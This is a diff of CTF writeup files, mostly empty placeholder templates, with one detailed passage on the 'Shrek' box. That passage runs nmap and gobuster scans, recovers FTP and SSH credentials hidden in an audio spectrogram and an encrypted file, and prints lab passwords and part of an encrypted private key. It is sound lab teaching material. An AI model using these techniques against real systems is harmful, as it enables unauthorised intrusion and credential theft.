will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/33.md b/Hard/33.md new file mode 100644 index 0000000..d1dc6de --- /dev/null +++ b/Hard/33.md @@ -0,0 +1,66 @@ +# Blackfield Writeup + +![](img/33.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/34.md b/Hard/34.md new file mode 100644 index 0000000..9c7b9a8 --- /dev/null +++ b/Hard/34.md @@ -0,0 +1,66 @@ +# Intense Writeup + +![](img/34.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/35.md b/Hard/35.md new file mode 100644 index 0000000..44be1f5 --- /dev/null +++ b/Hard/35.md @@ -0,0 +1,66 @@ +# Unbalanced Writeup + +![](img/35.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/36.md b/Hard/36.md new file mode 100644 index 0000000..2ac45c3 --- /dev/null +++ b/Hard/36.md @@ -0,0 +1,66 @@ +# Feline Writeup + +![](img/36.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/37.md b/Hard/37.md new file mode 100644 index 0000000..85a7950 --- /dev/null +++ b/Hard/37.md @@ -0,0 +1,66 @@ +# Compromised Writeup + +![](img/37.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/38.md b/Hard/38.md new file mode 100644 index 0000000..dbe22c7 --- /dev/null +++ b/Hard/38.md @@ -0,0 +1,66 @@ +# Reel2 Writeup + +![](img/38.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/39.md b/Hard/39.md new file mode 100644 index 0000000..c259964 --- /dev/null +++ b/Hard/39.md @@ -0,0 +1,66 @@ +# Sharp Writeup + +![](img/39.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/4.md b/Hard/4.md new file mode 100644 index 0000000..2739444 --- /dev/null +++ b/Hard/4.md @@ -0,0 +1,636 @@ +# Shrek Writeup + +![](img/4.png) + +## Introduction : + +Shrek is a hard linux box released back in august 2017 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.27/23 ] [ /dev/pts/18 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.47 --max-retries 0 -Pn --min-rate=500 | grep Discovered + Discovered open port 80/tcp on 10.10.10.47 + Discovered open port 22/tcp on 10.10.10.47 + Discovered open port 21/tcp on 10.10.10.47 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.27/23 ] [ /dev/pts/18 ] [~] + → nmap -sCV -p21,22,80 10.10.10.47 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-10 19:04 BST + Nmap scan report for 10.10.10.47 + Host is up (0.029s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3 + 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) + | ssh-hostkey: + | 2048 2d:a7:95:95:5d:dd:75:ca:bc:de:36:2c:33:f6:47:ef (RSA) + | 256 b5:1f:0b:9f:83:b3:6c:3b:6b:8b:71:f4:ee:56:a8:83 (ECDSA) + |_ 256 1f:13:b7:36:8d:cd:46:6c:29:6d:be:e4:ab:9c:24:5b (ED25519) + 80/tcp open http Apache httpd 2.4.27 ((Unix)) + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Apache/2.4.27 (Unix) + |_http-title: Home + Service Info: OS: Unix + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.10 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan says that port 80 is opened, so let's investigate it: + +![](prg/4/001.png) + + + + [ 10.10.14.27/23 ] [ /dev/pts/18 ] [~] + → gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x "xml,php,html,js,txt" -u http://10.10.10.47/ + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.47/ + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Extensions: txt,xml,php,html,js + [+] Timeout: 10s + =============================================================== + 2020/08/10 19:08:04 Starting gobuster + =============================================================== + /images (Status: 301) + /uploads (Status: 301) + /upload.php (Status: 200) + /upload.html (Status: 200) + /About.html (Status: 200) + /Index.html (Status: 200) + /Gallery.html (Status: 200) + /Sitemap.html (Status: 200) + /memes (Status: 301) + /shrek (Status: 301) + + + +so the interesting webpages here are /uploads.html and /uploads.php: + +![](prg/4/002.png) + +When we upload any file there we get redirected to /uploads.php: + +![](prg/4/003.png) + +Looking at /uploads we get a directory listing which contains a bunch of malware but the timestamps show us that it's probably not going to help us: + +![](prg/4/004.png) + +The interesting file to lookat here is secret_ultimate.php: + +![](prg/4/005.png) + +However we don't get to see the php comments, so we hit CTRL+U to view the sourcecode: + +![](prg/4/006.png) + +Which hints us to the /secret_area_51/ directory: + +![](prg/4/007.png) + +So apparently we get a mp3 containing some music, but the trick here was to inspect the end of the song because there was some extra static in the end after the music fades out: + +![](prg/4/009.png) + +The trick here was to inspect this static in Spectogram: + +![](prg/4/010.png) + +Here we see something interesting at the top of the stereo channels under spectogram settings we increase the max frequency times 10 which reveals the following message: + +![](prg/4/011.png) ![](prg/4/012.png) + +And looks like we got ftp credentials! **donkey:d0nk3y1337!** so we login via ftp: + + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/_HTB/Shrek] + → ftp 10.10.10.47 + Connected to 10.10.10.47. + 220 (vsFTPd 3.0.3) + Name (10.10.10.47:nothing): donkey + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + -rw-r--r-- 1 0 0 9216 Aug 14 09:01 0a935efe212d455eaba901f743e76a1f.txt + -rw-r--r-- 1 0 0 7168 Aug 14 09:01 129a5d725798449cbe35c14226c21ec8.txt + -rw-r--r-- 1 0 0 11264 Aug 14 09:01 173224a539f74d5bbd78bd097884a445.txt + -rw-r--r-- 1 0 0 15360 Aug 14 09:01 1cf72311c8394b85bee71378452a0627.txt + -rw-r--r-- 1 0 0 3072 Aug 14 09:01 2d0b3a4e22dc4043976529e9e450839d.txt + -rw-r--r-- 1 0 0 3072 Aug 14 09:01 2fdfec98b6f54a4bb2c24492804ed23e.txt + -rw-r--r-- 1 0 0 15360 Aug 14 09:01 3416a6f48fb7407e8bfa58ee7869b4c9.txt + -rw-r--r-- 1 0 0 15360 Aug 14 09:01 35ed54b85fda4c728e28d043ceff403f.txt + -rw-r--r-- 1 0 0 7168 Aug 14 09:01 3896633fd0f44d5789df5366050ecc4f.txt + -rw-r--r-- 1 0 0 14336 Aug 14 09:01 40c2e657bcc54c78be1986e9bb45886a.txt + -rw-r--r-- 1 0 0 15390 Aug 14 09:01 4328526e95f2406d8af2428b92a3afa8.txt + -rw-r--r-- 1 0 0 3072 Aug 14 09:01 549fe668212042acbcc96af1758141a4.txt + -rw-r--r-- 1 0 0 6144 Aug 14 09:01 629ac3a5efe24adaa7b5172f8bda44ca.txt + -rw-r--r-- 1 0 0 8192 Aug 14 09:01 631385a5a1ce4e46a206f0f0fbdc0808.txt + -rw-r--r-- 1 0 0 6144 Aug 14 09:01 68b211ee5513471e8b7de17661d18a9d.txt + -rw-r--r-- 1 0 0 13312 Aug 14 09:01 6aee99ecf1aa4ce78ee8d990e2c91e9a.txt + -rw-r--r-- 1 0 0 15360 Aug 14 09:01 79947ab62f1a4b959b68ada2b7849ff2.txt + -rw-r--r-- 1 0 0 5120 Aug 14 09:01 7ef381dce26a488493df64b67f3db3cf.txt + -rw-r--r-- 1 0 0 5120 Aug 14 09:01 84644e19171e425d8ac6e6e7a1398c46.txt + -rw-r--r-- 1 0 0 15360 Aug 14 09:01 9c11f948f169414cb4d3cfb607850e58.txt + -rw-r--r-- 1 0 0 6144 Aug 14 09:01 9de89e29bdb64a5eb69f1a8f344cd85a.txt + -rw-r--r-- 1 0 0 5120 Aug 14 09:01 a1127bfd922e43f0b0007b147c26e11e.txt + -rw-r--r-- 1 0 0 7168 Aug 14 09:01 a381c21f0e874439a1a634a940eaf4a9.txt + -rw-r--r-- 1 0 0 7168 Aug 14 09:01 b26e893ae4b84ca28872fc519c3803fc.txt + -rw-r--r-- 1 0 0 8192 Aug 14 09:01 b2edd39d22674696a56a7939af2ff917.txt + -rw-r--r-- 1 0 0 4096 Aug 14 09:01 bf22aa78874249a4a855995884f1daeb.txt + -rw-r--r-- 1 0 0 7598 Aug 14 09:01 d25fcf2994e14ebf990cf5b9f0b98691.txt + -rw-r--r-- 1 0 0 12288 Aug 14 09:01 dddedeb00dee439a86f7ac4c583ec700.txt + -rw-r--r-- 1 0 0 9216 Aug 14 09:01 e415d037bfb74c5fa6d0521ff662de8d.txt + -rw-r--r-- 1 0 0 15360 Aug 14 09:01 e5598789c60b45cf9f821e130af3b70e.txt + -rw-r--r-- 1 0 0 6144 Aug 14 09:01 f274007acbbb431185bc1fb3a1a8c5c0.txt + -rw-r--r-- 1 0 0 1766 Aug 16 2017 key + + +We retrieve key which is an encrypted private ssh key: + +![](prg/4/013.png) + +So instead of getting every file from the ftp service one by one, we'll just use wget: + + + + [ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/_HTB/Shrek] + → wget -r --user="donkey" --password="d0nk3y1337!" ftp://10.10.10.47/ + --2020-08-14 12:25:21-- ftp://10.10.10.47/ + => ‘10.10.10.47/.listing’ + Connecting to 10.10.10.47:21... connected. + Logging in as donkey ... Logged in! + ==> SYST ... done. ==> PWD ... done. + ==> TYPE I ... done. ==> CWD not needed. + ==> PASV ... done. ==> LIST ... done. + + [...] + + [ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/_HTB/Shrek] + → ls -lashR + .: + total 3.4M + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Aug 14 12:25 . + 4.0K drwxr-xr-x 5 nothing nothing 4.0K Aug 14 11:58 .. + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Aug 14 12:25 10.10.10.47 + 4.0K -rw-r--r-- 1 nothing nothing 1.8K Aug 14 12:20 key + 3.4M -rw-r--r-- 1 nothing nothing 3.3M Aug 15 2017 'Smash Mouth - All Star.mp3' + + ./10.10.10.47: + total 332K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Aug 14 12:25 . + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Aug 14 12:25 .. + 12K -rw-r--r-- 1 nothing nothing 9.0K Aug 14 09:01 0a935efe212d455eaba901f743e76a1f.txt + 8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 129a5d725798449cbe35c14226c21ec8.txt + 12K -rw-r--r-- 1 nothing nothing 11K Aug 14 09:01 173224a539f74d5bbd78bd097884a445.txt + 16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 1cf72311c8394b85bee71378452a0627.txt + 4.0K -rw-r--r-- 1 nothing nothing 3.0K Aug 14 09:01 2d0b3a4e22dc4043976529e9e450839d.txt + 4.0K -rw-r--r-- 1 nothing nothing 3.0K Aug 14 09:01 2fdfec98b6f54a4bb2c24492804ed23e.txt + 16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 3416a6f48fb7407e8bfa58ee7869b4c9.txt + 16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 35ed54b85fda4c728e28d043ceff403f.txt + 8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 3896633fd0f44d5789df5366050ecc4f.txt + 16K -rw-r--r-- 1 nothing nothing 14K Aug 14 09:01 40c2e657bcc54c78be1986e9bb45886a.txt + 16K -rw-r--r-- 1 nothing nothing 16K Aug 14 09:01 4328526e95f2406d8af2428b92a3afa8.txt + 4.0K -rw-r--r-- 1 nothing nothing 3.0K Aug 14 09:01 549fe668212042acbcc96af1758141a4.txt + 8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 629ac3a5efe24adaa7b5172f8bda44ca.txt + 8.0K -rw-r--r-- 1 nothing nothing 8.0K Aug 14 09:01 631385a5a1ce4e46a206f0f0fbdc0808.txt + 8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 68b211ee5513471e8b7de17661d18a9d.txt + 16K -rw-r--r-- 1 nothing nothing 13K Aug 14 09:01 6aee99ecf1aa4ce78ee8d990e2c91e9a.txt + 16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 79947ab62f1a4b959b68ada2b7849ff2.txt + 8.0K -rw-r--r-- 1 nothing nothing 5.0K Aug 14 09:01 7ef381dce26a488493df64b67f3db3cf.txt + 8.0K -rw-r--r-- 1 nothing nothing 5.0K Aug 14 09:01 84644e19171e425d8ac6e6e7a1398c46.txt + 16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 9c11f948f169414cb4d3cfb607850e58.txt + 8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 9de89e29bdb64a5eb69f1a8f344cd85a.txt + 8.0K -rw-r--r-- 1 nothing nothing 5.0K Aug 14 09:01 a1127bfd922e43f0b0007b147c26e11e.txt + 8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 a381c21f0e874439a1a634a940eaf4a9.txt + 8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 b26e893ae4b84ca28872fc519c3803fc.txt + 8.0K -rw-r--r-- 1 nothing nothing 8.0K Aug 14 09:01 b2edd39d22674696a56a7939af2ff917.txt + 4.0K -rw-r--r-- 1 nothing nothing 4.0K Aug 14 09:01 bf22aa78874249a4a855995884f1daeb.txt + 8.0K -rw-r--r-- 1 nothing nothing 7.5K Aug 14 09:01 d25fcf2994e14ebf990cf5b9f0b98691.txt + 12K -rw-r--r-- 1 nothing nothing 12K Aug 14 09:01 dddedeb00dee439a86f7ac4c583ec700.txt + 12K -rw-r--r-- 1 nothing nothing 9.0K Aug 14 09:01 e415d037bfb74c5fa6d0521ff662de8d.txt + 16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 e5598789c60b45cf9f821e130af3b70e.txt + 8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 f274007acbbb431185bc1fb3a1a8c5c0.txt + 4.0K -rw-r--r-- 1 nothing nothing 1.8K Aug 16 2017 key + + + +The idea here is to check the wordcount with the wc command: + + + [ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/_HTB/Shrek/10.10.10.47] + → wc *.txt + 0 1 9216 0a935efe212d455eaba901f743e76a1f.txt + 0 1 7168 129a5d725798449cbe35c14226c21ec8.txt + 0 1 11264 173224a539f74d5bbd78bd097884a445.txt + 0 1 15360 1cf72311c8394b85bee71378452a0627.txt + 0 1 3072 2d0b3a4e22dc4043976529e9e450839d.txt + 0 1 3072 2fdfec98b6f54a4bb2c24492804ed23e.txt + 0 1 15360 3416a6f48fb7407e8bfa58ee7869b4c9.txt + 0 1 15360 35ed54b85fda4c728e28d043ceff403f.txt + 0 1 7168 3896633fd0f44d5789df5366050ecc4f.txt + 0 1 14336 40c2e657bcc54c78be1986e9bb45886a.txt + **0 3 15390 4328526e95f2406d8af2428b92a3afa8.txt** + 0 1 3072 549fe668212042acbcc96af1758141a4.txt + 0 1 6144 629ac3a5efe24adaa7b5172f8bda44ca.txt + 0 1 8192 631385a5a1ce4e46a206f0f0fbdc0808.txt + 0 1 6144 68b211ee5513471e8b7de17661d18a9d.txt + 0 1 13312 6aee99ecf1aa4ce78ee8d990e2c91e9a.txt + 0 1 15360 79947ab62f1a4b959b68ada2b7849ff2.txt + 0 1 5120 7ef381dce26a488493df64b67f3db3cf.txt + 0 1 5120 84644e19171e425d8ac6e6e7a1398c46.txt + 0 1 15360 9c11f948f169414cb4d3cfb607850e58.txt + 0 1 6144 9de89e29bdb64a5eb69f1a8f344cd85a.txt + 0 1 5120 a1127bfd922e43f0b0007b147c26e11e.txt + 0 1 7168 a381c21f0e874439a1a634a940eaf4a9.txt + 0 1 7168 b26e893ae4b84ca28872fc519c3803fc.txt + 0 1 8192 b2edd39d22674696a56a7939af2ff917.txt + 0 1 4096 bf22aa78874249a4a855995884f1daeb.txt + **0 3 7598 d25fcf2994e14ebf990cf5b9f0b98691.txt** + 0 1 12288 dddedeb00dee439a86f7ac4c583ec700.txt + 0 1 9216 e415d037bfb74c5fa6d0521ff662de8d.txt + 0 1 15360 e5598789c60b45cf9f821e130af3b70e.txt + 0 1 6144 f274007acbbb431185bc1fb3a1a8c5c0.txt + 0 35 283084 total + + + +Here 2 files stand out since they have 3 words each: + +![](prg/4/014.png) + +The 2nd word in the first file gives us a username: + + + [ 10.10.14.8/23 ] [ /dev/pts/9 ] [~/_HTB/Shrek/10.10.10.47] + → echo 'UHJpbmNlQ2hhcm1pbmc=' | base64 -d + PrinceCharming + + +The 2nd file gives us binary data: + +![](prg/4/015.png) + +In order to recover the password we have to guess that this is using ECC cryptography, and that we needed to use python3's seccure library: + + + + [ 10.10.14.8/23 ] [ /dev/pts/9 ] [~/_HTB/Shrek/10.10.10.47] + → sudo apt install python3-pip + [sudo] password for nothing: + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following additional packages will be installed: + python-pip-whl python3-wheel + The following NEW packages will be installed: + python-pip-whl python3-pip python3-wheel + 0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded. + Need to get 2,078 kB of archives. + After this operation, 3,329 kB of additional disk space will be used. + Do you want to continue? [Y/n] y + Get:1 http://archive-4.kali.org/kali kali-rolling/main amd64 python-pip-whl all 20.0.2-5kali1 [1,842 kB] + Get:2 http://archive-4.kali.org/kali kali-rolling/main amd64 python3-wheel all 0.34.2-1 [24.0 kB] + Get:3 http://archive-4.kali.org/kali kali-rolling/main amd64 python3-pip all 20.0.2-5kali1 [211 kB] + Fetched 2,078 kB in 1s (1,746 kB/s) + Selecting previously unselected package python-pip-whl. + (Reading database ... 311886 files and directories currently installed.) + Preparing to unpack .../python-pip-whl_20.0.2-5kali1_all.deb ... + Unpacking python-pip-whl (20.0.2-5kali1) ... + Selecting previously unselected package python3-wheel. + Preparing to unpack .../python3-wheel_0.34.2-1_all.deb ... + Unpacking python3-wheel (0.34.2-1) ... + Selecting previously unselected package python3-pip. + Preparing to unpack .../python3-pip_20.0.2-5kali1_all.deb ... + Unpacking python3-pip (20.0.2-5kali1) ... + Setting up python3-wheel (0.34.2-1) ... + Setting up python-pip-whl (20.0.2-5kali1) ... + Setting up python3-pip (20.0.2-5kali1) ... + Processing triggers for man-db (2.9.3-2) ... + Processing triggers for kali-menu (2020.3.2) ... + Scanning processes... + Scanning processor microcode... + Scanning linux images... + + Running kernel seems to be up-to-date. + + The processor microcode seems to be up-to-date. + + No services need to be restarted. + + No containers need to be restarted. + + No user sessions are running outdated binaries. + + [ 10.10.14.8/23 ] [ /dev/pts/9 ] [~/_HTB/Shrek/10.10.10.47] + → pip3 install seccure + Collecting seccure + Downloading seccure-0.5.0.tar.gz (40 kB) + |████████████████████████████████| 40 kB 1.0 MB/s + Collecting gmpy2>=2 + Downloading gmpy2-2.0.8.zip (280 kB) + |████████████████████████████████| 280 kB 2.0 MB/s + Collecting pycryptodome + Downloading pycryptodome-3.9.8-cp38-cp38-manylinux1_x86_64.whl (13.7 MB) + |████████████████████████████████| 13.7 MB 7.0 MB/s + Requirement already satisfied: six>=1.2 in /usr/lib/python3/dist-packages (from seccure) (1.15.0) + Building wheels for collected packages: seccure, gmpy2 + Building wheel for seccure (setup.py) ... done + Created wheel for seccure: filename=seccure-0.5.0-py3-none-any.whl size=40750 sha256=99e3b0dbd16cb3c1eb87b2049ac5d24e70b803086078c97f634ba874f9b519b3 + + +Then we run it like so: + + + python3 + Python 3.8.3rc1 (default, Aug 14 2020, 11:45:56) + [GCC 9.3.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> import seccure + >>> cipher = b'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec>> password = b'PrinceCharming' + >>> seccure.decrypt(cipher, password) + b'The password for the ssh file is: shr3k1sb3st! and you have to ssh in as: sec\n' + + +And there we have credentials! sec:shr3k1sb3st! + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Shrek] + → cat key + -----BEGIN RSA PRIVATE KEY----- + Proc-Type: 4,ENCRYPTED + DEK-Info: AES-128-CBC,94DC7309349E17F8ED6776ED69D6265A + + rx7VJS6fzctpfTQ16y9M2CYG701eIh3nDQND+MSFAMSD8JiElqiIH7yA6TpXKPPx + A9gcxf1qlezc3XIhQpsLN9tLJpOxWYMniUo06/7k+2vWO6AzX27hVPRk1vk9OTWG + gRe856uaS8WfQ3XxehHNk1bu710HzBSwZn/XNbHsNo74Bpol8MTm2BTjvnuxnFY8 + tvw53nbXMQffBmrwBTvc5aaCk/C0LfvemSxLAgAwMACNpbPmdw9NkUxRDbL/93Q1 + ZYMlFxiXhLgFWQFdW/u2WURmOcIuAHd1V8gWIvY10IpH7o4nXaCI4D8PUmnIDt2N + k6Q3Znnfe8BrzFlD1NdG5SfHNdNUn5N9DROk0cZsL+D9e9bQb5CoyL2ioL9fEeRv + 4J5w2ZnIHStAez+Za11WGcZsW3jk2eXGPZiD99k5GcazWQ60dv5dUR6J5fkxaibi + unqmN2tDaKReT7aT4Im6pLUscN8t2w8dprgsD/EbMsPr0X/TqOShXXhMUhk/9SAY + 2Rvudp97fqYHugIch4lZdDpYS//KRwzO+wQOQARX0tJ0DJ++lY6WNM/BD6+HUk+v + 2c3ziM7DL4i7zhA0qnc8796Nxs8D/QTUWjmcNQhcOM4rAYsmyRqyoVe3ciadKWmk + vfwBJYxCwE9I9qUfZS3TsEYdbLE4MjlFB+Zn+fYpyA950hVFDxvu+E8zIcSYA0bJ + GAra2vH/xgmEoptYqeav/sstisJOYPW1Ui3K5C9E0QMH2MRReZoHlToCSNwUOWRo + rY1z3UZMyV5qw3VsuOk+n81P2npyP0RYo6xjAQW/1uN01LPi6y79j/3k9L35N7pH + vJHACTHa1bgCGkYGYm75DRIPYqJKs8g3htPHTbyfAfybeMBFQFxz3SBSWp8T9yjF + +WKUWQ2EmUtgC9n04tLf1/SIldvtOvtwyv2LiIzgvtT6DCMoulprRlb+U0iY1kbQ + lrpUhFtcK1SvC4Z6ebAEoX/jVRWKdbKldr35ECwIiMVNUFhvXwg4JRdmgmeeDga5 + 66TSTqupISE7q6MuBfesQItkoiairO36enBvYdifN4/kRFBNXo1ZUTzdKVw6/UVo + n9tG9Fnk/z/Ee0iuT3PS0xtu6cBaXzFggm1n73honBjJzIJdtDAJ2AFSMJg6F6TJ + d0BPB0SGfF8rU+s0RjBhr1nE+px9qYKsuPAKkfi/b/EVa5WEacNezUTTKW9v9DjM + ym/zSi9GMDEczlFO2wthN5MXh0XNzUyQxDAcek1uZyaQd66NXQ0AywQG114+XLx8 + 29sJvTuy6PXJs4ZUCno4/7RQnG9mwHtcV2f3ETASTjtsxBVotzfnpB22jgRND1fi + Ovqy0xbhRUrBhl8MjuE4Ha/ttoKvbDxC6PlVPMfjp3y2sTIDRp7HpAJfKoVMdJ5Y + 9FoWkWhrGkshGMIxyF3YE6cyhy8OOvmoEcNjyusCi1VWJpRxWU9Ml+GUH5gsjdAV + 